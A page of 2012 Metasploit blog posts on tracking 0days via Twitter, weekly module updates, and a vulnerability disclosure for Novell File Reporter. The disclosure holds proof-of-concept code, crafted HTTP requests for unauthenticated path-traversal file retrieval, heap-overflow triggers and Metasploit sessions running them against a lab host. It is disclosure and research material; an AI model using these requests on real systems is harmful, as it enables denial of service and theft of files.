Skip navigation
All Places > Metasploit > Blog > 2012 > November
2012

Twitter is more than just a social networking tool for people to tweet about their private life... publicly.  At Rapid7, we've had plenty of success getting interesting security information just by monitoring Twitter, and sometimes the stuff we see is actually way better than other resources we use.  If you're obsessed with 0days like me, or just the latest information in general, then here are some really good examples why Twitter is a fantastic tool for security enthusiasts:

 

 

cve_2011_0611.pngCVE-2011-0611 was a Adobe Flash vulnerability first discovered by @yuange1975.  A few weeks after this tweet, people began to pick up targeted attacks originated in Asia, and no patch was available at the time.  In case you're wondering how this tweet is related to CVE-2011-0611, it's because CALL [0x11111110+0x08] is where the software crash lands when inspected in a debugger.

 

cve_2012_1182.pngCVE-2012-1182 was a Samba exploit leaked on pastebin as a working proof-of-concept in Python. Later, @bl4sty claimed credit for the original code on Twitter... makes you wonder how the exploit was leaked in the first place?  Although a patch was already available before the leak, this was still the highlight of the day, because how often do you see a working Samba exploit in public?

 

 

cve_2012-4681.pngCVE-2012-4681 was a Java 0day found in the wild specifically against version 1.7 (or JRE7).  Accuvant researcher (also our ex-Metasploit lead exploit developer)  Joshua Drake (@jduck1337) ported the exploit to a working proof-of-concept, and then it became available in Metasploit in a couple of hours.  Due to the media pressure, Oracle was forced to release an out-of-band patch in a few days... which is a rare thing, because users most likely would have waited months to receive this update.

 

 

cve_2012-4969.pngCVE-2012-4969 was a Microsoft Internet Explorer 0day. Less than a month after the Oracle Java 0day drama (CVE-2012-4681), another 0day was spotted by Eric Romang exploiting IE.  Thanks to Eric Romang and @binjo, this too, was quickly ported to Metasploit with additional improvements and more target coverage.  A "fix-it" was released by Microsoft in 2 days, and then soon after, an official out-of-band update was available in 4 days.

 

So really, what's the trick to picking up critical information like that quickly?   Simple -- search for the right keywords, follow the right people.

 

Save these search results!


  • 0day / 0-day: Believe it or not, we really pick up vulnerabilities exploited in the wild just by staring at this search.  Sometimes I find this more effective than searching C0000005 on Google (which is the exception code for access violation, often meaning a possibly exploitable crash... and people post about their crashes all the time in order to get help).
  • #Metasploit / Metasploit: Any Metasploit-related information (announcements, updates, tricks, technical information, etc) can be picked up this way on Twitter.
  • proof of concept / exploit / vulnerability: Similar to the 0day / 0-day keywords, except these ones also tend to pick up more unrelated tweets.
  • When there's a new CVE that receives lots of public attention, you should setup a search for it, too.

 

If you like vulnerability research and/or exploit development, then you should follow these people:


 

Soc Monkey: Your all-in-one source for security trends on Twitter


http://a4.mzstatic.com/us/r1000/091/Purple/94/2e/00/mzl.otegmlex.175x175-75.jpgSoc Monkey is an iPhone application created by Rapid7.  It uses a smarter algorithm to automatically collect the latest security news on Twitter, and then all that goes to your phone.  This is perfect for those who just don't have the time to manually monitoring what goes on on Twitter.  Soc Monkey is available on your iPhone's "App Store".  Or, you can see it from here.

Now that I've consumed a significant percentage of my own weight in turkey (seriously, it was something like five percent), it's time to shake off the tryptophan and get this week's update out the door.

 

Attacking Security Infrastructure: OpenVAS

 

This week's update features three new module for bruteforcing three different OpenVAS authentication mechanisms, all provided by community contributor Vlatko @k0st Kosturjak. OpenVAS is an open source security management stack that's pretty popular, so if you're a pen-tester and you run into this on a site, you can be quite nearly guaranteed that it's a pretty decent target, full of domain administrator credentials and their equivalents. If you're not familiar with OpenVAS already, you can look at their architecture diagrams to get a sense of what it offers. Kost's modules hit the OpenVas Management Protocol (OMP), the OpenVas Transport Protocol (OTP), and the Greenbone Security Assistant daemon (GSAD), so you can take your pick on which vector you'd like to exploit for bruteforcing. If you are familiar with OpenVAS, and you have decent passwords, this shouldn't concern you at all. Of course, running a quick password audit with Metasploit might ease any concerns that you might have -- after all, it's kind of a "who watches the Watchmen?" situation.

 

Return of the SAP Modules

 

As mentioned last week, community contributor @nmonkee gave up a huge braindump of SAP auxiliary modules. This is week two of the Great SAP Integration -- we've got four new SAP modules to leverage some known SAP credentials into command injection. That brings the total number of new SAP modules to 12, with what looks like two or three more on the way. You can read up on why this is all significant over on the MWR Labs blog, with the short story of: lots of orgs use SAP, and you should be able to use Metasploit as a SAP client to leverage intended and sometimes unintended functionality therein.

 

New Modules

 

In addition to round two of SAP modules and OpenVAS bruteforcing, we've got three new exploits (for Quicktime, Narcissus, and NetIQ), and a pretty neat single-command psexec-style command runner for Windows targets. Check them out at Metasploit's Exploit Database.

 

 

Availability

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see the most excellent release notes.

Fresh Web Libs

 

As we head into the holiday season here in the U.S., Metasploit core developers Tasos @Zap0tek Laskos and James @Egyp7 Lee finished up a refresh of the Metasploit fork of the Anemone libraries, which is what we use for basic web spidering. You can read up on it here. The Metasploit fork isn't too far off of Chris Kite's mainline distribution, but does account for Metasploit's Rex sockets, adds in a few more defaults for directory busting, and decorates up some of the classes to make them easier to get at from Metasploit modules.

 

This update also sees a slew of brand new web scanning libraries which Zapotek has been banging on for a while now. You may already be familiar with Tasos from Arachni fame -- another Ruby project that's specifically geared toward webapp security scanning and exploitation. These new libraries in Metasploit should make exploit development for web apps considerably easier, so expect to see more documentation and examples using these libraries in the coming weeks.

 

Attack of the SAP Modules

 

Meanwhile, we've been pawing over a sizable pile of auxiliary modules geared toward the discovery, use, and abuse of SAP NetWeaver services, all submitted initially by community contributor @nmonkee. SAP, apparently has a footprint of 100,000 companies world wide, so it shouldn't be too uncommon to run into a SAP installation on a client site. You can read about these new modules in some depth in a blog post over at MWR Labs.

 

If, like @nmonkee, you are sitting on a dozen or so modules focusing on a particular technology, we are of course happy to help you get those all cleaned up and committed to the mainline Metasploit distribution. If you'd like some assistance with reasonable disclosure of vulnerabilities, we're similarly here and ready to serve.

 

New Modules

 

It's not just SAP and webscanning this week -- we've got a new ZDI exploit for Oracle and an exploit for Invision IP.Board, and another SCADA module (this one's a fuzzer for MODBUS, so that's fun). For more, check out Metasploit's Exploit Database.

 

 

Availability

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see the most excellent release notes.

Today, we present to you several new vulnerabilities discovered in Novell File Reporter 1.0.2, which "helps organizations more effectively manage network storage by providing administrators the ability to access comprehensive network storage information so that they can determine the best means of addressing their storage content". Following our standard disclosure policy, we notified both Novell and CERT.

 

Vulnerabilities Summary

 

The four vulnerabilities presented have been found in the same component, NFRAgent.exe, which communicates with the Agent component over HTTPS on TCP port 3037:

 

  • CVE-2012-4956 - Heap Overflow: When handling requests of name “SRS”, the NFRAgent.exe fails to generate a response in a secure way, copying user controlled data into a fixed-length buffer in the heap without bounds checking. This vulnerability can result in remote code execution under the context of the SYSTEM account.

  • CVE-2012-4957 - Arbitrary File Retrieval: When handling requests on “/FSF/CMD” for records with NAME “SRS”, OPERATION “4” and CMD “103” the NFRAgent.exe allows a remote unauthenticated user to retrieve arbitrary remote files, specified with the tag “PATH”, with SYSTEM privileges.
  • CVE-2012-4958 - Arbitrary File Retrieval: When handling requests on “/FSF/CMD” for records with NAME “FSFUI” and UICMD “126” the NFRAgent.exe allows a remote unauthenticated user to retrieve arbitrary remote text files, specified with the tag “FILE”, with SYSTEM privileges.
  • CVE-2012-4959 - Arbitrary File Upload: When handling requests on “/FSF/CMD” for records with NAME “FSFUI” and UICMD “130” the NFRAgent.exe allows a remote unauthenticated user to upload files to the host, specified with the tag “FILE”, with SYSTEM privileges. It allows to execute remote code with SYSTEM privileges.

 

Disclosure Timeline

 

DateDescription
2012-09-14Initial discovery by Juan Vazquez
2012-09-14

Metasploit modules written

2012-09-17Initial disclosure to Novell
2012-11-06Disclosure to US CERT
2012-11-16Public disclosure and Metasploit module published

Technical Analysis

 

CVE-2012-4956 - Heap Overflow


Static analysis

 

The NFSAgent.exe allows communication with the Agent component over HTTPS on port TCP 3037. The requests against the Agent component are XML messages, containing “records” to be processes by the Agent. The Agent handles different types of record, one of them is “SRS”:

 

.text:00404BE9                add    esp, 0Ch

.text:00404BEC                push    14h            ; length_arg_C

.text:00404BEE                lea    eax, [ebp+record_name_var_28]

.text:00404BF1                push    eax            ; result_arg_8

.text:00404BF2                push    offset aName    ; "NAME"

.text:00404BF7                mov    ecx, [ebp+message_arg_8]

.text:00404BFA                add    ecx, 20h

.text:00404BFD                push    ecx            ; xml_message_arg_0

.text:00404BFE                mov    ecx, [ebp+var_2C]

.text:00404C01                call    parse_tag_sub_40A760 ; search tag "NAME" in the xml_message_arg_0 and store contents int he "record_name_var_28" variable

.text:00404C06                movzx  edx, al

.text:00404C09                test    edx, edx

.text:00404C0B                jz      short loc_404C8B

.text:00404C0D                push    offset aSrs_2  ; "SRS"

.text:00404C12                lea    eax, [ebp+record_name_var_28]

.text:00404C15                push    eax            ; char *

.text:00404C16                call    _strcmp        ; compares the contents of the "NAME" element in the xml message from the request with the "SRS" string.

.text:00404C1B                add    esp, 8

.text:00404C1E                test    eax, eax

.text:00404C20                jnz    short loc_404C38 ; if not "SRS" name check others, if yes, handle it...

.text:00404C22                mov    ecx, [ebp+message_arg_8]

.text:00404C25                push    ecx            ; void *

.text:00404C26                mov    edx, [ebp+arg_4]

.text:00404C29                push    edx            ; int

.text:00404C2A                mov    eax, [ebp+arg_0]

.text:00404C2D                push    eax            ; int

.text:00404C2E                call    handle_SRS_sub_4048D0 ; handle the XML message with the RECORD of NAME "SRS"

 

In the function which handles records of name “SRS”, named “handle_SRS_sub_408D0”, a fixed-length buffer is created in the heap with “malloc()”:

 

.text:00404903                push    0C350h        ; size_t

.text:00404908                call    _malloc

.text:0040490D                add    esp, 4

.text:00404910                mov    [ebp+response_var_8], eax

 

This buffer is used to store the response which is going to be returned to the user after handling the “SRS” record. An “SRS” record can request different types of operation, by using the tags “OPERATION” and “CMD”. In this report, the “OPERATION” with id 7, and “CMD” 4, has been used. This operation allows a user to specify a set of volumes, and retrieve the free space for everyone. The format of the request XML message is this:


<RECORD>
    <NAME>SRS</NAME>
    <OPERATION>4</OPERATION>
    <CMD>7</CMD>
    <VOL>vol_1_name</VOL>
    <VOL>vol_2_name</VOL>
</RECORD>











While the analysis of the current vulnerability, has been discovered that the response is generated from the user request, copying the contents of the requested “VOL” elements to the fixed-length buffer in the heap without bounds checking.


Note: maybe other operations requested via “SRS” records can be used to trigger a heap overflow. It has not been checked.


The operation is handled by the function named “SRS_7_4_sub_4082E0”, which gets two arguments, the XML message for the RECORD to handle and the pointer to the vulnerable heap buffer allocated to store the response:

 

.text:004082E0 ; int __stdcall SRS_7_4_sub_4082E0(char *xml_message_arg_0, char *result_response_arg_4)


The “VOL” elements (the volume names) are processed by a loop like this in the “SRS_7_4_sub_4082E0” function:

 

for ( vol_object_var_254 = v25; vol_object_var_254; vol_object_var_254 = *(_DWORD *)(vol_object_var_254 + 12) )
{
  parse_tag_sub_40A760((void *)v15, *(const char **)vol_object_var_254, (int)"VOL", &vol_name_var_20c, 0x1F4u); // get VOL element
  volume_fspace_vol_35C = handle_volume_sub_4081E0(&vol_name_var_20c); // Retrieve Volume Free Space
  volume_fscape_var_358 = v2;
  vol_name_html_encode_var_494 = html_encode_sub_40B490(&vol_name_var_20c); // HTML Encode the volume name (user controlled data)
  if ( vol_name_html_encode_var_494 )
  { // If the volume name has been HTML Encoded
  v3 = volume_fscape_var_358;
  v4 = volume_fspace_vol_35C;
  v5 = vol_name_html_encode_var_494;
  v6 = strlen(result_response_arg_4);
  sprintf(&result_response_arg_4[v6], "<VOL><NAME>%s</NAME><FSPACE>%I64d</FSPACE></VOL>", v5, v4, v3); // Vulnerability!!! sprintf user controlled data (volume name) to the end of the fix-length buffer in the heap without bound checking
  free(vol_name_html_encode_var_494);
  vol_name_html_encode_var_494 = 0;
  }
  else
  { // If the volume name hasn’t been HTML Encoded
  v7 = volume_fscape_var_358;
  v8 = volume_fspace_vol_35C;
  v9 = strlen(result_response_arg_4);
  sprintf(
  &result_response_arg_4[v9], // Vulnerability!!! sprintf user controlled data (volume name) to the end of the fix-length buffer in the heap without bound checking
  "<VOL><NAME>%s</NAME><FSPACE>%I64d</FSPACE></VOL>",
  &vol_name_var_20c,
  v8,
  v7);
  }
}










In this loop is where the buffer overflow occurs, the results of the VOL handling are attached to the response, stored in the fixed-length allocated buffer in the heap, with a sprintf() call. For every sprintf() the volume name is controlled by the user, specified in the <VOL> elements of the request.

 

Proof of Concept and Dynamic Analysis

 

The vulnerability can be triggered by creating a specially crafted message, with a record of name “SRS”, specifying the operation “4” and cmd “7”, including a huge number of volumes (“VOL” elements). The ruby code used to generate the crafted message is this:

 

data = "4D14AED3B61B0DAB893355B8331CC71A" # Checksum

data << "<RECORD>"

data << "<NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>7</CMD>" # Operation

data << "<VOL>AAAAAAAAAA</VOL>" * 0xc35 # Volumes

data << "</RECORD>"

 

According to the static analysis presented before, when handling the crafted message, a fixed-length buffer of 0xc350 bytes to store the response is created in the heap:

 

0:007> g

Breakpoint 0 hit

eax=009e68b8 ebx=003f3bf8 ecx=b85645ca edx=7c90e4f4 esi=003f3bf8 edi=00000000

eip=00404908 esp=0120ff4c ebp=0120ff58 iopl=0        nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000202

NFRAgent+0x4908:

00404908 e84cef0300      call    NFRAgent+0x43859 (00443859)

0:007> dd esp L1

0120ff4c  0000c350

 

The allocated buffer is on 0x1220110:

 

0:007> p

eax=01220110 ebx=003f5e20 ecx=7c9101bb edx=009e0608 esi=003f5e20 edi=00000000

eip=0040490d esp=0120ff4c ebp=0120ff58 iopl=0        nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000202

NFRAgent+0x490d:

0040490d 83c404          add    esp,4

0:007> !heap -p -a eax

    address 01220110 found in

    _HEAP @ 9e0000

      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

        01220108 186b 0000  [01]  01220110    0c350 - (busy)

 

The results for every volume are attached to the fixed-length heap buffer via the sprintf at 004085C5:

 

Breakpoint 1 hit

eax=0122013e ebx=003f5e20 ecx=01220110 edx=c7ff3d52 esi=00479f89 edi=0120f1a1

eip=004085c5 esp=0120eec8 ebp=0120f3c0 iopl=0        nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000202

NFRAgent+0x85c5:

004085c5 e84ea70300      call    NFRAgent+0x42d18 (00442d18)

 

The result of the sprintf is going to be stored at 0122013e:

 

0:007> dd esp L1

0120eec8  0122013e

 

The address belongs to the heap buffer:

 

0:007> !heap -p -a 0122013e

    address 0122013e found in

    _HEAP @ 9e0000

      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

        01220108 186b 0000  [01]  01220110    0c350 - (busy)

 

The string which is going to be sprintfed contains the volume name (user controlled data):

 

0:007> da poi(esp+4)

0047a040  "<VOL><NAME>%s</NAME><FSPACE>%I64"

0047a060  "d</FSPACE></VOL>"

0:007> da poi(esp+8)

01250208  "AAAAAAAAAA"

 

After the first sprint, the contents of the heap vulnerable buffer are:

 

0:007> da 01220110

01220110  "<RESULT><VERSION>1</VERSION><STA"

01220130  "TUS>0</STATUS><VOL><NAME>AAAAAAA"

01220150  "AAA</NAME><FSPACE>0</FSPACE></VO"

01220170  "L>"

 

At this point, the contents of the heap, just after the vulnerable buffer, are presented:

 

0:007> !heap -p -a 01220110+0c350

    address 0122c460 found in

    _HEAP @ 9e0000

      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

        0122c460 0003 0000  [01]  0122c468    00010 - (busy)

0:007> db 0122c460 L8

0122c460  03 00 6b 18 19 01 08 01 

0:007> db 0122c468 L10

0122c468  80 c4 22 01 16 00 00 00-d0 9f 9e 00 a0 c4 22 01  .."...........".

 

After the offending loop the contents after the vulnerable heap buffer have been overwritten. For the chunk just after our vulnerable buffer, both heap chunk metadata and contents have been overflowed:

 

0:007> g

Breakpoint 0 hit

eax=00000000 ebx=003f5e20 ecx=00443085 edx=012501b0 esi=00479f89 edi=0120f1a1

eip=00408645 esp=0120eedc ebp=0120f3c0 iopl=0        nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000246

NFRAgent+0x8645:

00408645 c7852cfbffff00000000 mov dword ptr [ebp-4D4h],0 ss:0023:0120eeec=03ee2001

0:007> !heap -p -a 01220110

    address 01220110 found in

    _HEAP @ 9e0000

      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

        01220108 186b 0000  [01]  01220110    0c350 - (busy)

0:007> !heap -p -a 01220110+0xc350

    address 0122c460 found in

    _HEAP @ 9e0000

      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

        0122c460 3e45 0000  [46]  0122c468    1f220 - (free)

0:007> db 0122c460 L8

0122c460  45 3e 30 3c 2f 46 53 50                          E>0</FSP

0:007> db 0122c468 L10

0122c468  41 43 45 3e 3c 2f 56 4f-4c 3e 3c 56 4f 4c 3e 3c  ACE></VOL><VOL><

 

And finally, with the proof of concept, the NFRAgent.exe crashes because tries to dereference a overwritten pointer:

 

0:007> g

(9ac.2f4): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000016 ebx=003f5e20 ecx=00443085 edx=3c3e4c4f esi=00479f89 edi=0120f1a1

eip=00405a70 esp=0120eec8 ebp=0120eed0 iopl=0        nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00010202

NFRAgent+0x5a70:

00405a70 833a00          cmp    dword ptr [edx],0    ds:0023:3c3e4c4f=????????

 

In order to assist testing of the vulnerability a metasploit module has been developed:

 

 
msf > use auxiliary/dos/http/novell_file_reporter_heap_bof 
msf  auxiliary(novell_file_reporter_heap_bof) > set RHOST 192.168.1.150
RHOST => 192.168.1.150
msf  auxiliary(novell_file_reporter_heap_bof) > show options

Module options (auxiliary/dos/http/novell_file_reporter_heap_bof):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        Use a proxy chain
   RHOST    192.168.1.150    yes       The target address
   RPORT    3037             yes       The target port
   SSL      true             yes       Use SSL
   VHOST                     no        HTTP server virtual host
msf  auxiliary(novell_file_reporter_heap_bof) > run

[*] 192.168.1.150:3037 - Triggering the Heap Overflow to cause DoS...
[+] 192.168.1.150:3037 - NFR Agent didn't answer, DoS was successful
[*] Auxiliary module execution completed
msf  auxiliary(novell_file_reporter_heap_bof) > 

 

 

CVE-2012-4957 - Arbitrary File Retrieval

 

The NFSAgent.exe allows communication with the Agent component over HTTPS on port TCP 3037. The requests against the Agent component are XML messages, containing “records” to be processes by the Agent.  The vulnerability occurs when the NFRAgent.exe handles requests on the URL “/FSF/CMD”.  When handling RECORDs with NAME “SRS”, OPERATION “4” and CMD “103” the following code manages the requests:

 

.text:00408ACA       

.text:00408ACA                push    104h          ; jumptable 0040878F case 99

.text:00408ACF                lea    eax, [ebp+file_path_var_110]

.text:00408AD5                push    eax            ; result_arg_8

.text:00408AD6                push    offset aPath_1 ; "PATH"

.text:00408ADB                mov    ecx, [ebp+xml_message_arg_8]

.text:00408ADE                push    ecx            ; xml_message_arg_0

.text:00408ADF                mov    ecx, [ebp+var_9D4]

.text:00408AE5                call    parse_tag_sub_40A760 ; retrieve the contents of the PATH element

.text:00408AEA                movzx  edx, al

.text:00408AED                test    edx, edx

.text:00408AEF                jz      short loc_408B52

.text:00408AF1                mov    eax, [ebp+arg_0]

.text:00408AF4                push    eax

.text:00408AF5                mov    ecx, [ebp+arg_4]

.text:00408AF8                push    ecx

.text:00408AF9                push    0

.text:00408AFB                push    0

.text:00408AFD                push    offset aApplicationOct ; "application/octet-stream"

.text:00408B02                lea    edx, [ebp+file_path_var_110]

.text:00408B08                push    edx

.text:00408B09                call    SNISendDocResponse ; retrieve file contents and send back response

.text:00408B0E                add    esp, 18h

.text:00408B11                mov    [ebp+result_operation_var_9C1], al

.text:00408B17                movzx  eax, [ebp+result_operation_var_9C1]

.text:00408B1E                test    eax, eax

.text:00408B20                jz      short error_loc_408B3A

.text:00408B22                lea    ecx, [ebp+file_path_var_110]

.text:00408B28                push    ecx

.text:00408B29                push    offset aAddtaskSuccess ; "AddTask: Successfully started send of f"...

.text:00408B2E                push    0

.text:00408B30                call    write_log_sub_406080

.text:00408B35                add    esp, 0Ch

.text:00408B38                jmp    short loc_408B50

.text:00408B3A ; ---------------------------------------------------------------------------

.text:00408B3A

.text:00408B3A error_loc_408B3A:                      ; CODE XREF: parse_cmd_sub_4086B0+470j

.text:00408B3A                lea    edx, [ebp+file_path_var_110]

.text:00408B40                push    edx

.text:00408B41                push    offset aAddtaskFailedT ; "AddTask: Failed to send file (%s)."

.text:00408B46                push    0

.text:00408B48                call    write_log_sub_406080

.text:00408B4D                add    esp, 0Ch

In the code presented above the file path is retrieved from the PATH element of the XML request. The filename is used to call the function SNISendDocResponse() provided by the ccs.dll component, which uses the provided filename to call directly “fopen” and read the contents.

 

Exploitation

 

In order to exploit the vulnerability the user must build a XML message like this one:

 

<RECORD>
    <NAME>SRS</NAME>
    <OPERATION>4</OPERATION>
    <CMD>103</CMD>
    <PATH>c:\\boot.ini</PATH>
</RECORD>




















 

The file to read must be specified in the <PATH> element. The message must be sent through HTTPS to the PATH “/FSF/CMD”.

 

The HTTP body must include a concatenation of a MD5 checksum of the xml message and the xml message. In order to generate a correct MD5 checksum of the xml message, it must be generated from a string with the next format: “SRS” + XML MESSAGE + “SERVER”, where “SRS” and “SERVER” are static strings.

 

As example the next HTTP request allows to retrieve the contents of the “C:\\boot.ini” file:

 

POST /FSF/CMD HTTP/1.1

Host: 192.168.1.137:2037

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Content-Type: text/xml

Content-Length: 127

 

 

FD97A41459FD495A43E3BF922B40DB23<RECORD><NAME>SRS</NAME><OPERATION>4</OPERATION> <CMD>103</CMD><PATH>c:\boot.ini</PATH></RECORD>

 

The contents of the “c:\boot.ini” are returned back to the user:

 

HTTP/1.1 200 OK

MIME-version: 1.0

Connection: close

Content-Type: application/octet-stream

Content-Length: 211

 

 

[boot loader]

timeout=30

default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS

[operating systems]

multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect

 

In order to assist testing of the vulnerability a metasploit module has been developed:

 

  
msf > use auxiliary/scanner/http/novell_file_reporter_srs_fileaccess 
msf  auxiliary(novell_file_reporter_srs_fileaccess) > set RHOSTS 192.168.1.150
RHOSTS => 192.168.1.150
msf  auxiliary(novell_file_reporter_srs_fileaccess) > show options

Module options (auxiliary/scanner/http/novell_file_reporter_srs_fileaccess):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        Use a proxy chain
   RFILE    c:\boot.ini      yes       Remote File
   RHOSTS   192.168.1.150    yes       The target address range or CIDR identifier
   RPORT    3037             yes       The target port
   SSL      true             yes       Use SSL
   THREADS  1                yes       The number of concurrent threads
   VHOST                     no        HTTP server virtual host

msf  auxiliary(novell_file_reporter_srs_fileaccess) > run

[*] 192.168.1.150:3037 - Retrieving the file contents
[*] 192.168.1.150:3037 - c:\boot.ini saved in /Users/juan/.msf4/loot/20121109155445_default_192.168.1.150_novell.filerepor_923267.ini
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(novell_file_reporter_srs_fileaccess) > cat /Users/juan/.msf4/loot/20121109155445_default_192.168.1.150_novell.filerepor_923267.ini[*] exec: cat /Users/juan/.msf4/loot/20121109155445_default_192.168.1.150_novell.filerepor_923267.ini

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect

 

 

CVE-2012-4958 - Arbitrary File Retrieval

 

The NFSAgent.exe allows communication with the Agent component over HTTPS on port TCP 3037. The requests against the Agent component are XML messages, containing “records” to be processes by the Agent.  The vulnerability occurs when the NFRAgent.exe handles requests on the URL “/FSF/CMD”.  When handling RECORDs with NAME “FSFUI” and UICMD “126” the request is managed by the function named as read_file_sub_409FA0() whose decompiled pseudocode is presented below:

 

char *__stdcall read_file_sub_409FA0(char *xml_message_arg_0, char *a2)
{
  size_t v2; // eax@1
  size_t v3; // eax@3
  FILE *v4; // ST0C_4@5
  size_t v5; // eax@5
  size_t v6; // eax@5
  char *result; // eax@5
  char result_arg_8[260]; // [sp+Ch] [bp-190h]@1
  int v9; // [sp+110h] [bp-8Ch]@1
  size_t v10; // [sp+114h] [bp-88h]@5
  FILE *v11; // [sp+118h] [bp-84h]@2
  char v12; // [sp+11Ch] [bp-80h]@1
  char v13; // [sp+154h] [bp-48h]@1
  char v14; // [sp+158h] [bp-44h]@1
  __int16 v15; // [sp+194h] [bp-8h]@1
  char v16; // [sp+196h] [bp-6h]@1


  memcpy(&v14, "<RESULT><VERSION>1</VERSION><STATUS>0</STATUS><CFILE><![CDATA[", 0x3Cu);
  v15 = *(_WORD *)"A[";
  v16 = aResultVersi_19[62];
  memcpy(&v12, "<RESULT><VERSION>1</VERSION><STATUS>14</STATUS></RESULT>", 0x38u);
  v13 = aResultVersi_20[56];
  v9 = sub_40B670();
  sub_402200(result_arg_8);
  strcat(result_arg_8, "\\");
  v2 = strlen(result_arg_8);
  // The file path is retrieved from the FILE element of the XML request.
  if ( (unsigned __int8)parse_tag_sub_40A760(xml_message_arg_0, (int)"FILE", &result_arg_8[v2], 256) )
  {
    // The FILE element can specify an absolute PATH
    v11 = fopen(result_arg_8, "rb");
    if ( !v11 )
    {
      strcpy(result_arg_8, Buffer);
      strcat(result_arg_8, "\\");
      v3 = strlen(result_arg_8);
      //Or use a directory traversal to access with a relative PATH
      parse_tag_sub_40A760(xml_message_arg_0, (int)"FILE", &result_arg_8[v3], 256);
      v11 = fopen(result_arg_8, "rb");
    }
    if ( v11 )
    {
      strcpy(a2, &v14);
      v4 = v11;
      v5 = strlen(&v14);
      // The contents of the specified file are read and attached to the response (a2)
      v10 = fread(&a2[v5], 1u, 0xAFC8u, v4);
      fclose(v11);
      v6 = strlen(&v14);
      result = strcpy(&a2[v10] + v6, "]]></CFILE></RESULT>");
    }
    else
    {
      result = strcpy(a2, &v12);
    }
  }
  else
  {
    result = strcpy(a2, &v12);
  }
  return result;
}



















 

In the code presented above the file path is retrieved from the FILE element of the XML request. The filename is used to call the function fopen() and then fread() is used to read the file contents. Finally the contents are attached to the response contents which will be returned back to the user.

 

Exploitation

 

In order to exploit the vulnerability the user must build a XML message like this one:

 

<RECORD>
    <NAME>FSFUI</NAME>
    <UICMD>126</UICMD>
    <FILE>..\..\..\..\..\..\boot.ini</FILE>
</RECORD>



















The file to read must be specified in the <FILE> element. The message must be sent through HTTPS to the PATH “/FSF/CMD”.

 

The HTTP body must include a concatenation of a MD5 checksum of the xml message and the xml message. In order to generate a correct MD5 checksum of the xml message, it must be generated from a string with the next format: “SRS” + XML MESSAGE + “SERVER”, where “SRS” and “SERVER” are static strings.

 

As example the next HTTP request allows to retrieve the contents of the “C:\\boot.ini” file:

 

POST /FSF/CMD HTTP/1.1

Host: 192.168.1.137:2037

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Content-Type: text/xml

Content-Length: 124

 

 

562A72C2A891EC182BD76414BBB04C88<RECORD><NAME>FSFUI</NAME><UICMD>126</UICMD><FIL E>..\..\..\..\..\..\boot.ini</FILE></RECORD>

 

The contents of the “c:\boot.ini” are returned back to the user:

 

HTTP/1.1 200 OK

MIME-version: 1.0

Connection: close

Content-Type: text/xml

Content-Length: 293

 

 

<RESULT><VERSION>1</VERSION><STATUS>0</STATUS><CFILE><![CDATA[[boot loader]

timeout=30

default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS

[operating systems]

multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect

]]></CFILE></RESULT>

 

In order to assist testing of the vulnerability a metasploit module has been developed:

 

  
msf > use auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess 
msf  auxiliary(novell_file_reporter_fsfui_fileaccess) > set RHOSTS 192.168.1.150
RHOSTS => 192.168.1.150
msf  auxiliary(novell_file_reporter_fsfui_fileaccess) > show options

Module options (auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   DEPTH    6                yes       Traversal depth
   Proxies                   no        Use a proxy chain
   RFILE    boot.ini         yes       Remote File
   RHOSTS   192.168.1.150    yes       The target address range or CIDR identifier
   RPORT    3037             yes       The target port
   SSL      true             yes       Use SSL
   THREADS  1                yes       The number of concurrent threads
   VHOST                     no        HTTP server virtual host

msf  auxiliary(novell_file_reporter_fsfui_fileaccess) > run

[*] 192.168.1.150:3037 - Retrieving the file contents
[*] 192.168.1.150:3037 - boot.ini saved in /Users/juan/.msf4/loot/20121109154657_default_192.168.1.150_novell.filerepor_624595.ini
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(novell_file_reporter_fsfui_fileaccess) > cat /Users/juan/.msf4/loot/20121109154657_default_192.168.1.150_novell.filerepor_624595.ini
